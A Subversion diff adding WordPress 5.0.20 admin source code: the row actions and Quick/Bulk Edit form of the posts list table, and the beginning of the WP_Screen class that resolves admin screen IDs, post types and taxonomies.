+		$title = _draft_or_post_title();
+
+		if ( $can_edit_post && 'trash' != $post->post_status ) {
+			$actions['edit'] = sprintf(
+				'<a href="%s" aria-label="%s">%s</a>',
+				get_edit_post_link( $post->ID ),
+				/* translators: %s: post title */
+				esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $title ) ),
+				__( 'Edit' )
+			);
+
+			if ( 'wp_block' !== $post->post_type ) {
+				$actions['inline hide-if-no-js'] = sprintf(
+					'<a href="#" class="editinline" aria-label="%s">%s</a>',
+					/* translators: %s: post title */
+					esc_attr( sprintf( __( 'Quick edit &#8220;%s&#8221; inline' ), $title ) ),
+					__( 'Quick&nbsp;Edit' )
+				);
+			}
+		}
+
+		if ( current_user_can( 'delete_post', $post->ID ) ) {
+			if ( 'trash' === $post->post_status ) {
+				$actions['untrash'] = sprintf(
+					'<a href="%s" aria-label="%s">%s</a>',
+					wp_nonce_url( admin_url( sprintf( $post_type_object->_edit_link . '&amp;action=untrash', $post->ID ) ), 'untrash-post_' . $post->ID ),
+					/* translators: %s: post title */
+					esc_attr( sprintf( __( 'Restore &#8220;%s&#8221; from the Trash' ), $title ) ),
+					__( 'Restore' )
+				);
+			} elseif ( EMPTY_TRASH_DAYS ) {
+				$actions['trash'] = sprintf(
+					'<a href="%s" class="submitdelete" aria-label="%s">%s</a>',
+					get_delete_post_link( $post->ID ),
+					/* translators: %s: post title */
+					esc_attr( sprintf( __( 'Move &#8220;%s&#8221; to the Trash' ), $title ) ),
+					_x( 'Trash', 'verb' )
+				);
+			}
+			if ( 'trash' === $post->post_status || ! EMPTY_TRASH_DAYS ) {
+				$actions['delete'] = sprintf(
+					'<a href="%s" class="submitdelete" aria-label="%s">%s</a>',
+					get_delete_post_link( $post->ID, '', true ),
+					/* translators: %s: post title */
+					esc_attr( sprintf( __( 'Delete &#8220;%s&#8221; permanently' ), $title ) ),
+					__( 'Delete Permanently' )
+				);
+			}
+		}
+
+		if ( is_post_type_viewable( $post_type_object ) ) {
+			if ( in_array( $post->post_status, array( 'pending', 'draft', 'future' ) ) ) {
+				if ( $can_edit_post ) {
+					$preview_link = get_preview_post_link( $post );
+					$actions['view'] = sprintf(
+						'<a href="%s" rel="bookmark" aria-label="%s">%s</a>',
+						esc_url( $preview_link ),
+						/* translators: %s: post title */
+						esc_attr( sprintf( __( 'Preview &#8220;%s&#8221;' ), $title ) ),
+						__( 'Preview' )
+					);
+				}
+			} elseif ( 'trash' != $post->post_status ) {
+				$actions['view'] = sprintf(
+					'<a href="%s" rel="bookmark" aria-label="%s">%s</a>',
+					get_permalink( $post->ID ),
+					/* translators: %s: post title */
+					esc_attr( sprintf( __( 'View &#8220;%s&#8221;' ), $title ) ),
+					__( 'View' )
+				);
+			}
+		}
+
+		if ( 'wp_block' === $post->post_type ) {
+			$actions['export'] = sprintf(
+				'<button type="button" class="wp-list-reusable-blocks__export button-link" data-id="%s" aria-label="%s">%s</button>',
+				$post->ID,
+				/* translators: %s: post title */
+				esc_attr( sprintf( __( 'Export &#8220;%s&#8221; as JSON' ), $title ) ),
+				__( 'Export as JSON' )
+			);
+		}
+
+		if ( is_post_type_hierarchical( $post->post_type ) ) {
+
+			/**
+			 * Filters the array of row action links on the Pages list table.
+			 *
+			 * The filter is evaluated only for hierarchical post types.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param array $actions An array of row action links. Defaults are
+			 *                         'Edit', 'Quick Edit', 'Restore', 'Trash',
+			 *                         'Delete Permanently', 'Preview', and 'View'.
+			 * @param WP_Post $post The post object.
+			 */
+			$actions = apply_filters( 'page_row_actions', $actions, $post );
+		} else {
+
+			/**
+			 * Filters the array of row action links on the Posts list table.
+			 *
+			 * The filter is evaluated only for non-hierarchical post types.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param array $actions An array of row action links. Defaults are
+			 *                         'Edit', 'Quick Edit', 'Restore', 'Trash',
+			 *                         'Delete Permanently', 'Preview', and 'View'.
+			 * @param WP_Post $post The post object.
+			 */
+			$actions = apply_filters( 'post_row_actions', $actions, $post );
+		}
+
+		return $this->row_actions( $actions );
+	}
+
+	/**
+	 * Outputs the hidden row displayed when inline editing
+	 *
+	 * @since 3.1.0
+	 *
+	 * @global string $mode List table view mode.
+	 */
+	public function inline_edit() {
+		global $mode;
+
+		$screen = $this->screen;
+
+		$post = get_default_post_to_edit( $screen->post_type );
+		$post_type_object = get_post_type_object( $screen->post_type );
+
+		$taxonomy_names = get_object_taxonomies( $screen->post_type );
+		$hierarchical_taxonomies = array();
+		$flat_taxonomies = array();
+		foreach ( $taxonomy_names as $taxonomy_name ) {
+
+			$taxonomy = get_taxonomy( $taxonomy_name );
+
+			$show_in_quick_edit = $taxonomy->show_in_quick_edit;
+
+			/**
+			 * Filters whether the current taxonomy should be shown in the Quick Edit panel.
+			 *
+			 * @since 4.2.0
+			 *
+			 * @param bool   $show_in_quick_edit Whether to show the current taxonomy in Quick Edit.
+			 * @param string $taxonomy_name      Taxonomy name.
+			 * @param string $post_type          Post type of current Quick Edit post.
+			 */
+			if ( ! apply_filters( 'quick_edit_show_taxonomy', $show_in_quick_edit, $taxonomy_name, $screen->post_type ) ) {
+				continue;
+			}
+
+			if ( $taxonomy->hierarchical )
+				$hierarchical_taxonomies[] = $taxonomy;
+			else
+				$flat_taxonomies[] = $taxonomy;
+		}
+
+		$m = ( isset( $mode ) && 'excerpt' === $mode ) ? 'excerpt' : 'list';
+		$can_publish = current_user_can( $post_type_object->cap->publish_posts );
+		$core_columns = array( 'cb' => true, 'date' => true, 'title' => true, 'categories' => true, 'tags' => true, 'comments' => true, 'author' => true );
+
+	?>
+
+	<form method="get"><table style="display: none"><tbody id="inlineedit">
+		<?php
+		$hclass = count( $hierarchical_taxonomies ) ? 'post' : 'page';
+		$inline_edit_classes = "inline-edit-row inline-edit-row-$hclass";
+		$bulk_edit_classes   = "bulk-edit-row bulk-edit-row-$hclass bulk-edit-{$screen->post_type}";
+		$quick_edit_classes  = "quick-edit-row quick-edit-row-$hclass inline-edit-{$screen->post_type}";
+
+		$bulk = 0;
+		while ( $bulk < 2 ) { ?>
+
+		<tr id="<?php echo $bulk ? 'bulk-edit' : 'inline-edit'; ?>" class="<?php echo $inline_edit_classes . ' ';
+			echo $bulk ? $bulk_edit_classes : $quick_edit_classes;
+		?>" style="display: none"><td colspan="<?php echo $this->get_column_count(); ?>" class="colspanchange">
+
+		<fieldset class="inline-edit-col-left">
+			<legend class="inline-edit-legend"><?php echo $bulk ? __( 'Bulk Edit' ) : __( 'Quick Edit' ); ?></legend>
+			<div class="inline-edit-col">
+	<?php
+
+	if ( post_type_supports( $screen->post_type, 'title' ) ) :
+		if ( $bulk ) : ?>
+			<div id="bulk-title-div">
+				<div id="bulk-titles"></div>
+			</div>
+
+	<?php else : // $bulk ?>
+
+			<label>
+				<span class="title"><?php _e( 'Title' ); ?></span>
+				<span class="input-text-wrap"><input type="text" name="post_title" class="ptitle" value="" /></span>
+			</label>
+
+		<?php if ( is_post_type_viewable( $screen->post_type ) ) : // is_post_type_viewable check ?>
+
+			<label>
+				<span class="title"><?php _e( 'Slug' ); ?></span>
+				<span class="input-text-wrap"><input type="text" name="post_name" value="" /></span>
+			</label>
+
+			<?php
+	endif; // is_post_type_viewable check
+	endif; // $bulk
+	endif; // post_type_supports title
+			?>
+
+	<?php if ( !$bulk ) : ?>
+			<fieldset class="inline-edit-date">
+			<legend><span class="title"><?php _e( 'Date' ); ?></span></legend>
+				<?php touch_time( 1, 1, 0, 1 ); ?>
+			</fieldset>
+			<br class="clear" />
+	<?php endif; // $bulk
+
+		if ( post_type_supports( $screen->post_type, 'author' ) ) :
+			$authors_dropdown = '';
+
+			if ( current_user_can( $post_type_object->cap->edit_others_posts ) ) :
+				$users_opt = array(
+					'hide_if_only_one_author' => false,
+					'who' => 'authors',
+					'name' => 'post_author',
+					'class'=> 'authors',
+					'multi' => 1,
+					'echo' => 0,
+					'show' => 'display_name_with_login',
+				);
+				if ( $bulk )
+					$users_opt['show_option_none'] = __( '&mdash; No Change &mdash;' );
+
+				if ( $authors = wp_dropdown_users( $users_opt ) ) :
+					$authors_dropdown  = '<label class="inline-edit-author">';
+					$authors_dropdown .= '<span class="title">' . __( 'Author' ) . '</span>';
+					$authors_dropdown .= $authors;
+					$authors_dropdown .= '</label>';
+				endif;
+			endif; // authors
+	?>
+
+	<?php if ( !$bulk ) echo $authors_dropdown;
+	endif; // post_type_supports author
+
+	if ( !$bulk && $can_publish ) :
+	?>
+
+			<div class="inline-edit-group wp-clearfix">
+				<label class="alignleft">
+					<span class="title"><?php _e( 'Password' ); ?></span>
+					<span class="input-text-wrap"><input type="text" name="post_password" class="inline-edit-password-input" value="" /></span>
+				</label>
+
+				<em class="alignleft inline-edit-or">
+					<?php
+					/* translators: Between password field and private checkbox on post quick edit interface */
+					_e( '&ndash;OR&ndash;' );
+					?>
+				</em>
+				<label class="alignleft inline-edit-private">
+					<input type="checkbox" name="keep_private" value="private" />
+					<span class="checkbox-title"><?php _e( 'Private' ); ?></span>
+				</label>
+			</div>
+
+	<?php endif; ?>
+
+		</div></fieldset>
+
+	<?php if ( count( $hierarchical_taxonomies ) && !$bulk ) : ?>
+
+		<fieldset class="inline-edit-col-center inline-edit-categories"><div class="inline-edit-col">
+
+	<?php foreach ( $hierarchical_taxonomies as $taxonomy ) : ?>
+
+			<span class="title inline-edit-categories-label"><?php echo esc_html( $taxonomy->labels->name ) ?></span>
+			<input type="hidden" name="<?php echo ( $taxonomy->name === 'category' ) ? 'post_category[]' : 'tax_input[' . esc_attr( $taxonomy->name ) . '][]'; ?>" value="0" />
+			<ul class="cat-checklist <?php echo esc_attr( $taxonomy->name )?>-checklist">
+				<?php wp_terms_checklist( null, array( 'taxonomy' => $taxonomy->name ) ) ?>
+			</ul>
+
+	<?php endforeach; //$hierarchical_taxonomies as $taxonomy ?>
+
+		</div></fieldset>
+
+	<?php endif; // count( $hierarchical_taxonomies ) && !$bulk ?>
+
+		<fieldset class="inline-edit-col-right"><div class="inline-edit-col">
+
+	<?php
+		if ( post_type_supports( $screen->post_type, 'author' ) && $bulk )
+			echo $authors_dropdown;
+
+		if ( post_type_supports( $screen->post_type, 'page-attributes' ) ) :
+
+			if ( $post_type_object->hierarchical ) :
+		?>
+			<label>
+				<span class="title"><?php _e( 'Parent' ); ?></span>
+	<?php
+		$dropdown_args = array(
+			'post_type'         => $post_type_object->name,
+			'selected'          => $post->post_parent,
+			'name'              => 'post_parent',
+			'show_option_none'  => __( 'Main Page (no parent)' ),
+			'option_none_value' => 0,
+			'sort_column'       => 'menu_order, post_title',
+		);
+
+		if ( $bulk )
+			$dropdown_args['show_option_no_change'] =  __( '&mdash; No Change &mdash;' );
+
+		/**
+		 * Filters the arguments used to generate the Quick Edit page-parent drop-down.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @see wp_dropdown_pages()
+		 *
+		 * @param array $dropdown_args An array of arguments.
+		 */
+		$dropdown_args = apply_filters( 'quick_edit_dropdown_pages_args', $dropdown_args );
+
+		wp_dropdown_pages( $dropdown_args );
+	?>
+			</label>
+
+	<?php
+			endif; // hierarchical
+
+			if ( !$bulk ) : ?>
+
+			<label>
+				<span class="title"><?php _e( 'Order' ); ?></span>
+				<span class="input-text-wrap"><input type="text" name="menu_order" class="inline-edit-menu-order-input" value="<?php echo $post->menu_order ?>" /></span>
+			</label>
+
+	<?php
+			endif; // !$bulk
+		endif; // page-attributes
+	?>
+
+	<?php if ( 0 < count( get_page_templates( null, $screen->post_type ) ) ) : ?>
+		<label>
+			<span class="title"><?php _e( 'Template' ); ?></span>
+			<select name="page_template">
+<?php	if ( $bulk ) : ?>
+				<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
+<?php	endif; // $bulk ?>
+                <?php
+				/** This filter is documented in wp-admin/includes/meta-boxes.php */
+				$default_title = apply_filters( 'default_page_template_title',  __( 'Default Template' ), 'quick-edit' );
+                ?>
+				<option value="default"><?php echo esc_html( $default_title ); ?></option>
+				<?php page_template_dropdown( '', $screen->post_type ) ?>
+			</select>
+		</label>
+	<?php endif; ?>
+
+	<?php if ( count( $flat_taxonomies ) && !$bulk ) : ?>
+
+	<?php foreach ( $flat_taxonomies as $taxonomy ) : ?>
+		<?php if ( current_user_can( $taxonomy->cap->assign_terms ) ) :
+			$taxonomy_name = esc_attr( $taxonomy->name );
+
+			?>
+			<label class="inline-edit-tags">
+				<span class="title"><?php echo esc_html( $taxonomy->labels->name ) ?></span>
+				<textarea data-wp-taxonomy="<?php echo $taxonomy_name; ?>" cols="22" rows="1" name="tax_input[<?php echo $taxonomy_name; ?>]" class="tax_input_<?php echo $taxonomy_name; ?>"></textarea>
+			</label>
+		<?php endif; ?>
+
+	<?php endforeach; //$flat_taxonomies as $taxonomy ?>
+
+	<?php endif; // count( $flat_taxonomies ) && !$bulk  ?>
+
+	<?php if ( post_type_supports( $screen->post_type, 'comments' ) || post_type_supports( $screen->post_type, 'trackbacks' ) ) :
+		if ( $bulk ) : ?>
+
+			<div class="inline-edit-group wp-clearfix">
+		<?php if ( post_type_supports( $screen->post_type, 'comments' ) ) : ?>
+			<label class="alignleft">
+				<span class="title"><?php _e( 'Comments' ); ?></span>
+				<select name="comment_status">
+					<option value=""><?php _e( '&mdash; No Change &mdash;' ); ?></option>
+					<option value="open"><?php _e( 'Allow' ); ?></option>
+					<option value="closed"><?php _e( 'Do not allow' ); ?></option>
+				</select>
+			</label>
+		<?php endif; if ( post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?>
+			<label class="alignright">
+				<span class="title"><?php _e( 'Pings' ); ?></span>
+				<select name="ping_status">
+					<option value=""><?php _e( '&mdash; No Change &mdash;' ); ?></option>
+					<option value="open"><?php _e( 'Allow' ); ?></option>
+					<option value="closed"><?php _e( 'Do not allow' ); ?></option>
+				</select>
+			</label>
+		<?php endif; ?>
+			</div>
+
+	<?php else : // $bulk ?>
+
+			<div class="inline-edit-group wp-clearfix">
+			<?php if ( post_type_supports( $screen->post_type, 'comments' ) ) : ?>
+				<label class="alignleft">
+					<input type="checkbox" name="comment_status" value="open" />
+					<span class="checkbox-title"><?php _e( 'Allow Comments' ); ?></span>
+				</label>
+			<?php endif; if ( post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?>
+				<label class="alignleft">
+					<input type="checkbox" name="ping_status" value="open" />
+					<span class="checkbox-title"><?php _e( 'Allow Pings' ); ?></span>
+				</label>
+			<?php endif; ?>
+			</div>
+
+	<?php endif; // $bulk
+	endif; // post_type_supports comments or pings ?>
+
+			<div class="inline-edit-group wp-clearfix">
+				<label class="inline-edit-status alignleft">
+					<span class="title"><?php _e( 'Status' ); ?></span>
+					<select name="_status">
+	<?php if ( $bulk ) : ?>
+						<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
+	<?php endif; // $bulk ?>
+					<?php if ( $can_publish ) : // Contributors only get "Unpublished" and "Pending Review" ?>
+						<option value="publish"><?php _e( 'Published' ); ?></option>
+						<option value="future"><?php _e( 'Scheduled' ); ?></option>
+	<?php if ( $bulk ) : ?>
+						<option value="private"><?php _e( 'Private' ) ?></option>
+	<?php endif; // $bulk ?>
+					<?php endif; ?>
+						<option value="pending"><?php _e( 'Pending Review' ); ?></option>
+						<option value="draft"><?php _e( 'Draft' ); ?></option>
+					</select>
+				</label>
+
+	<?php if ( 'post' === $screen->post_type && $can_publish && current_user_can( $post_type_object->cap->edit_others_posts ) ) : ?>
+
+	<?php	if ( $bulk ) : ?>
+
+				<label class="alignright">
+					<span class="title"><?php _e( 'Sticky' ); ?></span>
+					<select name="sticky">
+						<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
+						<option value="sticky"><?php _e( 'Sticky' ); ?></option>
+						<option value="unsticky"><?php _e( 'Not Sticky' ); ?></option>
+					</select>
+				</label>
+
+	<?php	else : // $bulk ?>
+
+				<label class="alignleft">
+					<input type="checkbox" name="sticky" value="sticky" />
+					<span class="checkbox-title"><?php _e( 'Make this post sticky' ); ?></span>
+				</label>
+
+	<?php	endif; // $bulk ?>
+
+	<?php endif; // 'post' && $can_publish && current_user_can( 'edit_others_cap' ) ?>
+
+			</div>
+
+	<?php
+
+	if ( $bulk && current_theme_supports( 'post-formats' ) && post_type_supports( $screen->post_type, 'post-formats' ) ) {
+		$post_formats = get_theme_support( 'post-formats' );
+
+		?>
+		<label class="alignleft">
+		<span class="title"><?php _ex( 'Format', 'post format' ); ?></span>
+		<select name="post_format">
+			<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
+			<option value="0"><?php echo get_post_format_string( 'standard' ); ?></option>
+			<?php
+			if ( is_array( $post_formats[0] ) ) {
+				foreach ( $post_formats[0] as $format ) {
+					?>
+					<option value="<?php echo esc_attr( $format ); ?>"><?php echo esc_html( get_post_format_string( $format ) ); ?></option>
+					<?php
+				}
+			}
+			?>
+		</select></label>
+	<?php
+
+	}
+
+	?>
+
+		</div></fieldset>
+
+	<?php
+		list( $columns ) = $this->get_column_info();
+
+		foreach ( $columns as $column_name => $column_display_name ) {
+			if ( isset( $core_columns[$column_name] ) )
+				continue;
+
+			if ( $bulk ) {
+
+				/**
+				 * Fires once for each column in Bulk Edit mode.
+				 *
+				 * @since 2.7.0
+				 *
+				 * @param string  $column_name Name of the column to edit.
+				 * @param WP_Post $post_type   The post type slug.
+				 */
+				do_action( 'bulk_edit_custom_box', $column_name, $screen->post_type );
+			} else {
+
+				/**
+				 * Fires once for each column in Quick Edit mode.
+				 *
+				 * @since 2.7.0
+				 *
+				 * @param string $column_name Name of the column to edit.
+				 * @param string $post_type   The post type slug, or current screen name if this is a taxonomy list table.
+				 * @param string taxonomy     The taxonomy name, if any.
+				 */
+				do_action( 'quick_edit_custom_box', $column_name, $screen->post_type, '' );
+			}
+
+		}
+	?>
+		<div class="submit inline-edit-save">
+			<button type="button" class="button cancel alignleft"><?php _e( 'Cancel' ); ?></button>
+			<?php if ( ! $bulk ) {
+				wp_nonce_field( 'inlineeditnonce', '_inline_edit', false );
+				?>
+				<button type="button" class="button button-primary save alignright"><?php _e( 'Update' ); ?></button>
+				<span class="spinner"></span>
+			<?php } else {
+				submit_button( __( 'Update' ), 'primary alignright', 'bulk_edit', false );
+			} ?>
+			<input type="hidden" name="post_view" value="<?php echo esc_attr( $m ); ?>" />
+			<input type="hidden" name="screen" value="<?php echo esc_attr( $screen->id ); ?>" />
+			<?php if ( ! $bulk && ! post_type_supports( $screen->post_type, 'author' ) ) { ?>
+				<input type="hidden" name="post_author" value="<?php echo esc_attr( $post->post_author ); ?>" />
+			<?php } ?>
+			<br class="clear" />
+			<div class="notice notice-error notice-alt inline hidden">
+				<p class="error"></p>
+			</div>
+		</div>
+		</td></tr>
+	<?php
+		$bulk++;
+		}
+?>
+		</tbody></table></form>
+<?php
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-screen.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-screen.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-screen.php	(revision 56912)
@@ -0,0 +1,1272 @@
+<?php
+/**
+ * Screen API: WP_Screen class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement an admin screen API.
+ *
+ * @since 3.3.0
+ */
+final class WP_Screen {
+	/**
+	 * Any action associated with the screen. 'add' for *-add.php and *-new.php screens. Empty otherwise.
+	 *
+	 * @since 3.3.0
+	 * @var string
+	 */
+	public $action;
+
+	/**
+	 * The base type of the screen. This is typically the same as $id but with any post types and taxonomies stripped.
+	 * For example, for an $id of 'edit-post' the base is 'edit'.
+	 *
+	 * @since 3.3.0
+	 * @var string
+	 */
+	public $base;
+
+	/**
+	 * The number of columns to display. Access with get_columns().
+	 *
+	 * @since 3.4.0
+	 * @var int
+	 */
+	private $columns = 0;
+
+	/**
+	 * The unique ID of the screen.
+	 *
+	 * @since 3.3.0
+	 * @var string
+	 */
+	public $id;
+
+	/**
+	 * Which admin the screen is in. network | user | site | false
+	 *
+	 * @since 3.5.0
+	 * @var string
+	 */
+	protected $in_admin;
+
+	/**
+	 * Whether the screen is in the network admin.
+	 *
+	 * Deprecated. Use in_admin() instead.
+	 *
+	 * @since 3.3.0
+	 * @deprecated 3.5.0
+	 * @var bool
+	 */
+	public $is_network;
+
+	/**
+	 * Whether the screen is in the user admin.
+	 *
+	 * Deprecated. Use in_admin() instead.
+	 *
+	 * @since 3.3.0
+	 * @deprecated 3.5.0
+	 * @var bool
+	 */
+	public $is_user;
+
+	/**
+	 * The base menu parent.
+	 * This is derived from $parent_file by removing the query string and any .php extension.
+	 * $parent_file values of 'edit.php?post_type=page' and 'edit.php?post_type=post' have a $parent_base of 'edit'.
+	 *
+	 * @since 3.3.0
+	 * @var string
+	 */
+	public $parent_base;
+
+	/**
+	 * The parent_file for the screen per the admin menu system.
+	 * Some $parent_file values are 'edit.php?post_type=page', 'edit.php', and 'options-general.php'.
+	 *
+	 * @since 3.3.0
+	 * @var string
+	 */
+	public $parent_file;
+
+	/**
+	 * The post type associated with the screen, if any.
+	 * The 'edit.php?post_type=page' screen has a post type of 'page'.
+	 * The 'edit-tags.php?taxonomy=$taxonomy&post_type=page' screen has a post type of 'page'.
+	 *
+	 * @since 3.3.0
+	 * @var string
+	 */
+	public $post_type;
+
+	/**
+	 * The taxonomy associated with the screen, if any.
+	 * The 'edit-tags.php?taxonomy=category' screen has a taxonomy of 'category'.
+	 * @since 3.3.0
+	 * @var string
+	 */
+	public $taxonomy;
+
+	/**
+	 * The help tab data associated with the screen, if any.
+	 *
+	 * @since 3.3.0
+	 * @var array
+	 */
+	private $_help_tabs = array();
+
+	/**
+	 * The help sidebar data associated with screen, if any.
+	 *
+	 * @since 3.3.0
+	 * @var string
+	 */
+	private $_help_sidebar = '';
+
+ 	/**
+	 * The accessible hidden headings and text associated with the screen, if any.
+	 *
+	 * @since 4.4.0
+	 * @var array
+	 */
+	private $_screen_reader_content = array();
+
+	/**
+	 * Stores old string-based help.
+	 *
+	 * @static
+	 *
+	 * @var array
+	 */
+	private static $_old_compat_help = array();
+
+	/**
+	 * The screen options associated with screen, if any.
+	 *
+	 * @since 3.3.0
+	 * @var array
+	 */
+	private $_options = array();
+
+	/**
+	 * The screen object registry.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @static
+	 *
+	 * @var array
+	 */
+	private static $_registry = array();
+
+	/**
+	 * Stores the result of the public show_screen_options function.
+	 *
+	 * @since 3.3.0
+	 * @var bool
+	 */
+	private $_show_screen_options;
+
+	/**
+	 * Stores the 'screen_settings' section of screen options.
+	 *
+	 * @since 3.3.0
+	 * @var string
+	 */
+	private $_screen_settings;
+
+	/**
+	 * Whether the screen is using the block editor.
+	 *
+	 * @since 5.0.0
+	 * @var bool
+	 */
+	public $is_block_editor = false;
+
+	/**
+	 * Fetches a screen object.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @static
+	 *
+	 * @global string $hook_suffix
+	 *
+	 * @param string|WP_Screen $hook_name Optional. The hook name (also known as the hook suffix) used to determine the screen.
+	 * 	                                  Defaults to the current $hook_suffix global.
+	 * @return WP_Screen Screen object.
+	 */
+	public static function get( $hook_name = '' ) {
+		if ( $hook_name instanceof WP_Screen ) {
+			return $hook_name;
+		}
+
+		$post_type = $taxonomy = null;
+		$in_admin = false;
+		$action = '';
+
+		if ( $hook_name )
+			$id = $hook_name;
+		else
+			$id = $GLOBALS['hook_suffix'];
+
+		// For those pesky meta boxes.
+		if ( $hook_name && post_type_exists( $hook_name ) ) {
+			$post_type = $id;
+			$id = 'post'; // changes later. ends up being $base.
+		} else {
+			if ( '.php' == substr( $id, -4 ) )
+				$id = substr( $id, 0, -4 );
+
+			if ( 'post-new' == $id || 'link-add' == $id || 'media-new' == $id || 'user-new' == $id ) {
+				$id = substr( $id, 0, -4 );
+				$action = 'add';
+			}
+		}
+
+		if ( ! $post_type && $hook_name ) {
+			if ( '-network' == substr( $id, -8 ) ) {
+				$id = substr( $id, 0, -8 );
+				$in_admin = 'network';
+			} elseif ( '-user' == substr( $id, -5 ) ) {
+				$id = substr( $id, 0, -5 );
+				$in_admin = 'user';
+			}
+
+			$id = sanitize_key( $id );
+			if ( 'edit-comments' != $id && 'edit-tags' != $id && 'edit-' == substr( $id, 0, 5 ) ) {
+				$maybe = substr( $id, 5 );
+				if ( taxonomy_exists( $maybe ) ) {
+					$id = 'edit-tags';
+					$taxonomy = $maybe;
+				} elseif ( post_type_exists( $maybe ) ) {
+					$id = 'edit';
+					$post_type = $maybe;
+				}
+			}
+
+			if ( ! $in_admin )
+				$in_admin = 'site';
+		} else {
+			if ( defined( 'WP_NETWORK_ADMIN' ) && WP_NETWORK_ADMIN )
+				$in_admin = 'network';
+			elseif ( defined( 'WP_USER_ADMIN' ) && WP_USER_ADMIN )
+				$in_admin = 'user';
+			else
+				$in_admin = 'site';
+		}
+
+		if ( 'index' == $id )
+			$id = 'dashboard';
+		elseif ( 'front' == $id )
+			$in_admin = false;
+
+		$base = $id;
+
+		// If this is the current screen, see if we can be more accurate for post types and taxonomies.
+		if ( ! $hook_name ) {
+			if ( isset( $_REQUEST['post_type'] ) )
+				$post_type = post_type_exists( $_REQUEST['post_type'] ) ? $_REQUEST['post_type'] : false;
+			if ( isset( $_REQUEST['taxonomy'] ) )
+				$taxonomy = taxonomy_exists( $_REQUEST['taxonomy'] ) ? $_REQUEST['taxonomy'] : false;
+
+			switch ( $base ) {
+				case 'post' :
+					if ( isset( $_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] )
+						wp_die( __( 'A post ID mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
+					elseif ( isset( $_GET['post'] ) )
+						$post_id = (int) $_GET['post'];
+					elseif ( isset( $_POST['post_ID'] ) )
+						$post_id = (int) $_POST['post_ID'];
+					else
+						$post_id = 0;
+
+					if ( $post_id ) {
+						$post = get_post( $post_id );
+						if ( $post )
+							$post_type = $post->post_type;
+					}
+					break;
+				case 'edit-tags' :
+				case 'term' :
+					if ( null === $post_type && is_object_in_taxonomy( 'post', $taxonomy ? $taxonomy : 'post_tag' ) )
+						$post_type = 'post';
+					break;
+				case 'upload':
+					$post_type = 'attachment';
+					break;
+			}
+		}
+
+		switch ( $base ) {
+			case 'post' :
+				if ( null === $post_type )
+					$post_type = 'post';
+				$id = $post_type;
+				break;
+			case 'edit' :
+				if ( null === $post_type )
+					$post_type = 'post';
+				$id .= '-' . $post_type;
+				break;
+			case 'edit-tags' :
+			case 'term' :
+				if ( null === $taxonomy )
+					$taxonomy = 'post_tag';
+				// The edit-tags ID does not contain the post type. Look for it in the request.
+				if ( null === $post_type ) {
+					$post_type = 'post';
+					if ( isset( $_REQUEST['post_type'] ) && post_type_exists( $_REQUEST['post_type'] ) )
+						$post_type = $_REQUEST['post_type'];
+				}
+
+				$id = 'edit-' . $taxonomy;
+				break;
+		}
+
+		if ( 'network' == $in_admin ) {
+			$id   .= '-network';
+			$base .= '-network';
+		} elseif ( 'user' == $in_admin ) {
+			$id   .= '-user';
+			$base .= '-user';
+		}
+
+		if ( isset( self::$_registry[ $id ] ) ) {
+			$screen = self::$_registry[ $id ];
+			if ( $screen === get_current_screen() )
+				return $screen;
+		} else {
+			$screen = new WP_Screen();
+			$screen->id     = $id;
+		}
+
+		$screen->base       = $base;
+		$screen->action     = $action;
+		$screen->post_type  = (string) $post_type;
+		$screen->taxonomy   = (string) $taxonomy;
+		$screen->is_user    = ( 'user' == $in_admin );
+		$screen->is_network = ( 'network' == $in_admin );
+		$screen->in_admin   = $in_admin;
+
+		self::$_registry[ $id ] = $screen;
+
+		return $screen;
+	}
+
+	/**
+	 * Makes the screen object the current screen.
+	 *
+	 * @see set_current_screen()
+	 * @since 3.3.0
+	 *
+	 * @global WP_Screen $current_screen
+	 * @global string    $taxnow
+	 * @global string    $typenow
+	 */
+	public function set_current_screen() {
+		global $current_screen, $taxnow, $typenow;
+		$current_screen = $this;
+		$taxnow = $this->taxonomy;
+		$typenow = $this->post_type;
+
+		/**
+		 * Fires after the current screen has been set.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param WP_Screen $current_screen Current WP_Screen object.
+		 */
+		do_action( 'current_screen', $current_screen );
+	}
+
+	/**
+	 * Constructor
+	 *
+	 * @since 3.3.0
+	 */
+	private function __construct() {}
+
+	/**
+	 * Indicates whether the screen is in a particular admin
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $admin The admin to check against (network | user | site).
+	 *                      If empty any of the three admins will result in true.
+	 * @return bool True if the screen is in the indicated admin, false otherwise.
+	 */
+	public function in_admin( $admin = null ) {
+		if ( empty( $admin ) )
+			return (bool) $this->in_admin;
+
+		return ( $admin == $this->in_admin );
+	}
+
+	/**
+	 * Sets or returns whether the block editor is loading on the current screen.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param bool $set Optional. Sets whether the block editor is loading on the current screen or not.
+	 * @return bool True if the block editor is being loaded, false otherwise.
+	 */
+	public function is_block_editor( $set = null ) {
+		if ( $set !== null ) {
+			$this->is_block_editor = (bool) $set;
+		}
+
+		return $this->is_block_editor;
+	}
+
+	/**
+	 * Sets the old string-based contextual help for the screen for backward compatibility.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @static
+	 *
+	 * @param WP_Screen $screen A screen object.
+	 * @param string $help Help text.
+	 */
+	public static function add_old_compat_help( $screen, $help ) {
+		self::$_old_compat_help[ $screen->id ] = $help;
+	}
+
+	/**
+	 * Set the parent information for the screen.
+	 * This is called in admin-header.php after the menu parent for the screen has been determined.
+	 *
+	 * @since 3.3.0
